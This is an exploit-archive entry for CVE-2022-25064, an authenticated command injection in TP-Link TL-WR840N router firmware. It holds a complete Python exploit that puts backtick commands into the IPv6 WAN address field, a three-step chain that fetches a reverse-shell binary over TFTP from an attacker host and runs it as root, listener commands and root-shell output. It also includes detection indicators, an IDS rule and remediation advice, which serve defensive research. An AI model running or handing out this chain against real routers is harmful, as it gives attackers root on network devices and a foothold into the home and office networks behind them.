PoC Archive PoC Archive
CVE-2022-25064 category: network CVSS 9.8 (CRITICAL)
Unpatched

TP-Link TL-WR840N IPv6 WAN Address Command Injection (CVE-2022-25064)

Published: 2026-11-27 • Researcher: Samir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)

Target software TP-Link TL-WR840N(ES) V6.20 wireless router firmware, through the IPv6 WAN configuration handled by oal_wan6_setIpAddr
Affected versions Firmware build TL-WR840N(ES)_V6.20_180709, as named by NVD. No fixed firmware build is identified in the NVD record.
Status PoC (complete three-command injection chain implemented, but the script has a malformed Content-Length header and publishes no verification of a successful run)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2022-25064
Category
network
Affected product
TP-Link TL-WR840N(ES) V6.20 wireless router firmware, through the IPv6 WAN configuration handled by oal_wan6_setIpAddr
Affected versions
Firmware build TL-WR840N(ES)_V6.20_180709, as named by NVD. No fixed firmware build is identified in the NVD record.
Disclosed
2026-11-27
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2022-02-25 (upstream commit 27d822bb0590b24c11e3887c69e1916b70c5ffe7, “Create reverse_shell_mipsle.c”)
Author / ResearcherSamir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)
CVE / AdvisoryCVE-2022-25064
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD)
StatusPoC (complete three-command injection chain implemented, but the script has a malformed Content-Length header and publishes no verification of a successful run)
Tagscommand-injection, tp-link, tl-wr840n, embedded-router, mips-little-endian, tftp, ipv6, backticks, authenticated, cwe-78
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link TL-WR840N(ES) V6.20 wireless router firmware, through the IPv6 WAN configuration handled by oal_wan6_setIpAddr
Versions AffectedFirmware build TL-WR840N(ES)_V6.20_180709, as named by NVD. No fixed firmware build is identified in the NVD record.
Language / PlatformPython 3 exploit script; the target is embedded Linux on MIPS32 little-endian hardware with a BusyBox userland
Authentication RequiredYes — administrator credentials for the router web management interface (HTTP Basic authentication)
Network Access RequiredYes — HTTP access to the router management interface, plus the router must be able to reach the attacker over TFTP (UDP/69) and TCP to the reverse-shell port

Summary

The TP-Link TL-WR840N with firmware build 180709 accepts WAN configuration records as plain text at its management CGI endpoint and places the IPv6 external address value into a shell command in its IPv6 WAN setter without sanitizing shell metacharacters. The published script injects backtick command substitution into the IPv6 external address field of a WAN connection record, so the router executes the enclosed text as root when it applies the configuration. It sends three such requests in sequence to fetch a MIPS reverse-shell payload over TFTP, mark it executable and run it. Successful exploitation yields a root shell on the router, exposing the network behind it and every device that trusts it.

Vulnerability Details

Root Cause

The router web interface accepts configuration records in a section format such as [WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18 with key=value lines, posted to /cgi?2&2 as text/plain. The X_TP_ExternalIPv6Address value is stored and later used by the IPv6 WAN setter oal_wan6_setIpAddr, which builds a shell command string from configuration values. The field is not validated against shell metacharacters, and the archived script places its payload between backticks, which the shell evaluates as command substitution. The device runs the resulting command as root, so the injected commands run as root too. This is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), and NVD describes the issue as remote code execution via oal_wan6_setIpAddr.

Attack Vector

An authenticated HTTP POST to http://TARGET/cgi?2&2 with an administrator Basic authentication cookie, Content-Type: text/plain, a router-like Host and Referer pair, and a WAN_IP_CONN body whose X_TP_ExternalIPv6Address value is a backtick-wrapped shell command. No CSRF token or confirmation step is involved. The management interface is normally reachable from the LAN; the attack also works from any network that can reach it, including a WAN-exposed management port.

Impact

Remote code execution as root on the router. Root access exposes the administrator password and Wi-Fi keys, allows DNS and route manipulation, traffic interception and redirection, NAT port forwarding and firewall changes, and turns the device into a foothold for attacks on the internal network. Because the injected configuration is stored, the effect can survive a reboot until the configuration is reset.

Environment / Lab Setup

Output
OS:          Attacker: Linux (Kali/Debian) with Python 3
Target:      TP-Link TL-WR840N(ES) V6.20, firmware 180709 (physical unit,
             or an emulated firmware image), reachable at its management IP
Router libc: uClibc/BusyBox on MIPS32 little-endian
Tools:       Python 3 + requests, mipsel-linux-gnu-gcc, tftpd-hpa/atftpd, netcat

Setup Steps

Shell script
1
2
3
4
python3 -m venv .venv && . .venv/bin/activate
pip install requests

sudo mkdir -p /srv/tftp && sudo chown $USER /srv/tftp

The archived script does not start a TFTP server and does not compile the payload; both are operator preconditions.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the reverse-shell payload — replace the two placeholders in reverse_shell_mipsle.c, cross-compile it statically for the router and place it in the TFTP root as s.

    C source
    1
    2
    
    aanvaller_info.sin_port = htons(4444);
    aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.100");
    Shell script
    1
    2
    
    mipsel-linux-gnu-gcc -static -Os -o s reverse_shell_mipsle.c
    cp s /srv/tftp/s
  2. Start the TFTP server and the listener — the router fetches the payload during the third injected command.

    Shell script
    1
    2
    
    sudo systemctl start tftpd-hpa
    nc -lvnp 4444
  3. Run the exploit — the script sends the three commands one after another, each wrapped in backticks inside the IPv6 address field.

    Shell script
    1
    2
    3
    4
    5
    6
    
    python3 CVE-2022-25064.py \
        --target 192.168.0.1 \
        --username admin \
        --password 'admin-password' \
        --lhost 192.168.0.100 \
        --lport 4444
  4. Catch the shell and confirm privileges — the payload connects back and spawns /bin/sh.

    Output
    Connection from 192.168.0.1:43210
    Connection Completed
    # id
    uid=0(root) gid=0(root)

Exploit Code

See CVE-2022-25064.py (the HTTP injection client) and reverse_shell_mipsle.c (the MIPS reverse-shell payload) in this folder. The upstream README is upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
payload = (
    '[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18\r\n'
    'externalIPAddress=172.26.26.2\r\n'
    'subnetMask=255.255.255.0\r\n'
    'defaultGateway=172.26.26.1\r\n'
    'X_TP_IPv6AddressingType=Static\r\n'
    'X_TP_ExternalIPv6Address=`' + command + '`\r\n'
    'X_TP_PrefixLength=128\r\n'
    'enable=1\r\n'
)

session.post("http://" + target + "/cgi?2&2",
             headers={"Content-Type": "text/plain"},
             cookies={"Authorization": "Basic " + b64(user + ":" + password)},
             data=payload)

The three commands sent in sequence are:

Output
1
2
3
tftp -g -r s -l/var/tmp/r <lhost>
chmod +x /var/tmp/r
/var/tmp/r &

Expected Output

Output
1
2
3
[+] Exploiting stage tftp -g -r s -l/var/tmp/r 192.168.0.100
[+] Exploiting stage chmod +x /var/tmp/r
[+] Exploiting stage /var/tmp/r &

The script prints these lines after each POST regardless of the router’s response, so the authoritative success signal is the reverse shell on the listener:

Output
1
2
3
4
$ nc -lvnp 4444
Connection from 192.168.0.1:43210
Connection Completed
uid=0(root) gid=0(root)

Detection & Indicators of Compromise

Output
POST /cgi?2&2 with bodies containing backticks, "tftp", "chmod +x", "/var/tmp/r"
Host: <router-ip>   Referer: http://<router-ip>/mainFrame.htm

/var/tmp/r (unexpected ELF binary)
Configuration records with X_TP_ExternalIPv6Address containing shell metacharacters

TFTP RRQ for the filename "s" from the router to an internal host (UDP/69)
Router-originated TCP session to a host and port that are not normal traffic

Because the injected value is stored in the configuration, check the running configuration for backticks or command text in IPv6 WAN fields, and re-flash or factory-reset a device that shows them. Also alert on outbound TFTP from network devices and on router-originated shell connections.

SIEM / IDS Rule (example):

Output
alert http any any -> $ROUTER_MGMT any (msg:"CVE-2022-25064 TP-Link IPv6 WAN address command injection"; flow:to_server,established; content:"/cgi?2"; http_uri; content:"X_TP_ExternalIPv6Address"; http_client_body; content:"`"; http_client_body; reference:cve,2022-25064; sid:9025064; rev:1;)

Remediation

ActionDetail
PatchUpdate the TL-WR840N to the newest firmware available for the hardware revision, or replace the model if no fixed build is offered; NVD does not name a fixed firmware version for TL-WR840N(ES) V6.20 build 180709, so confirm with TP-Link support before relying on a build.
WorkaroundDo not expose the web management interface to the WAN, restrict management access to a dedicated administration VLAN or trusted hosts, and use a unique strong administrator password.
Config HardeningSegment consumer routers away from production networks, block outbound TFTP (UDP/69) from network devices at the firewall, monitor router-originated connections, and factory-reset any device with unexpected configuration or an outbound shell.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/exploitwritter/CVE-2022-25064 (no stars at review time, one Python script, one C payload and a one-line README).

Review verdict: ingested as a PoC. It is a real exploit, not a detector: it builds the malicious WAN_IP_CONN record itself, injects arbitrary commands through the IPv6 address field of a real router endpoint and stages a reverse shell to prove execution. The repository also ships reverse_shell_mipsle.c, a small target-specific MIPS payload that the exploit fetches over TFTP to demonstrate code execution. It is included because the reproduction steps depend on it; it is not a general-purpose backdoor (single hardcoded callback, no persistence, no C2 protocol, no evasion). The repository contains no C2 framework, keylogger, miner, stealer or bot code.

Related work: the same authors published CVE-2022-25061 for the same TL-WR840N build, targeting a different injection point through oal_setIp6DefaultRoute; it is archived separately at pocs/network/2026-11-27_cve-2022-25061-tplink-wr840n/. The two scripts share the same structure and payload but are not duplicates: the request body, the injected field and the affected handler differ.

Limitations: the script is rough and was not executed while preparing this entry. Its headers dictionary sets Content-Length to the literal string str(len(self.payload)) instead of a number, so requests will send that invalid value and the router or an intermediary may reject the body; dropping the Content-Length entry and letting requests compute it is usually necessary on a real device. The --lport argument is required by the parser but never used in the requests (the TFTP fetch uses the default UDP port 69). The payload writes the fetched file to /var/tmp/r while the TFTP server must expose it as s. The script does not read the router’s responses, handle reboots, or verify success, and the C payload will not compile until its <IP ATTACK> and <PORT ATTACK> placeholders are replaced. Paths, CGI endpoint and record names are specific to the TL-WR840N(ES) V6.20 build 180709; other models and firmware need their own analysis. Exploitation requires valid administrator credentials, and the repository publishes no proof-of-concept output, which is why the status is PoC rather than Weaponized.

License: the repository declares no LICENSE file, so copyright remains with the authors and no reuse rights are granted. The archived files keep the original attribution and add only a short research-use header; the upstream README is copied verbatim as upstream-README.md.

CVE-2022-25064.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/exploitwritter/CVE-2022-25064 (see README for attribution/license)
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a OS Command Injection vulnerability in the TPLink WR840N router, using the configure function IPv6 protocol.

import requests
import base64
import argparse

class RCE():
    def __init__(self, ip, command, username, password):
        self.ip = ip
        self.command = command
        self.username = username
        self.password = password
        self.session = requests.Session()
    
    def base64_encode(self, s):
        msg_bytes = s.encode('ascii')
        return base64.b64encode(msg_bytes)

    def exploit(self):
        # Building the malicious packet
        self.url = "http://" + self.ip + "/cgi?2&2"
        self.proxyes = {}
        self.payload = '[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nX_TP_lastUsedIntf=ipoe_eth3_s\r\nX_TP_lastUsedName=ewan_ipoe_s\r\n[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18\r\nexternalIPAddress=172.26.26.2\r\nsubnetMask=255.255.255.0\r\ndefaultGateway=172.26.26.1\r\nNATEnabled=1\r\nX_TP_FullconeNATEnabled=0\r\nX_TP_FirewallEnabled=1\r\nmaxMTUSize=1500\r\nDNSOverrideAllowed=1\r\nDNSServers=1.1.1.1,8.8.8.8\r\nX_TP_IPv4Enabled=0\r\nX_TP_IPv6Enabled=1\r\nX_TP_IPv6AddressingType=Static\r\nX_TP_ExternalIPv6Address=`'+str(self.command)+'`\r\nX_TP_PrefixLength=128\r\nX_TP_DefaultIPv6Gateway=::\r\nX_TP_IPv6DNSOverrideAllowed=1\r\nX_TP_IPv6DNSServers=::,::\r\nenable=1\r\n'
    
        self.headers = {
            'Host': self.ip,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
            'Accept': '*/*',
            'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain',
            'Content-Length': 'str(len(self.payload))',
            'Origin': 'http://'+str(self.ip),
            'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
        }
        
        self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
        
        self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.payload, proxies=self.proxyes)
        

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
    parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
    parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
    parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True)
    parser.add_argument("--lport", dest="lport", help="Enter your lport received your connection", required=True)
    args = parser.parse_args()
    
    if args.username and args.password and args.target and args.lhost and args.lport:
        commands = ['tftp -g -r s -l/var/tmp/r {}'.format(args.lhost), 'chmod +x /var/tmp/r', '/var/tmp/r &']
        
        for com in commands:
            rce = RCE(args.target, com, args.username, args.password)
            rce.exploit()
            print("[+] Exploiting stage " + str(com))

if __name__ == "__main__":
    main()